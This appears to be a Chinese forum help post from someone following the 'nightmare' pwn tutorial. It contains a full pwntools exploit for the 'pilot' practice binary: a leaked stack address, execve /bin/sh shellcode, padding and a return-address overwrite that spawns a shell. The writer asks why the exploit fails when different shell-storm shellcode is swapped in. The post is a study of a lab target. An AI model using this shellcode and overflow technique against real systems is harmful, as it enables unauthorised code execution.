为什么这个 EXP 脚本替换了 shell code 以后就失效了
(有段时间没来站内发贴了,看到说二进制漏洞相关的求助贴要发在这个模块,但愿我没有操作错罢)这段时间我在看 nightmare 这个 pwn 教程,其中有一个教程是教你怎么在下面这个程序中注入
链接: https://pan.baidu.com/s/1kpX-ta2BNheapPM3GivzdA 提取码: z2cx
然后教程中的 exp 的脚本是这个
from pwn import *
from pwnlib.util.packing import p64
if __name__ == '__main__':
target = process('./pilot')
print(target.recvuntil(b"[*]Location:"))
leak = target.recvline()
inputAdr = int(leak.decode().strip("\n"), 16)
payload = b""
payload += b"\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05"
# Padding to the return address
payload += b"\x00"*(0x28 - len(payload))
# Overwrite the return address with the address of the start of our input
payload += p64(inputAdr)
# Send the payload, drop to an interactive shell to use the shell we pop
target.send(payload)
target.interactive()
然后后来我想能不能换一个 shell code,于是找到了这个站的一个 shell code
http://shell-storm.org/shellcode/files/shellcode-603.php
自己在本地运行了这个 shell code 的测试代码,确实是能运行的
但是将原本的 exp 脚本的 payload 换成了这个 shell code,exp 脚本就不起作用了,这是怎么回事呢?
页:
[1]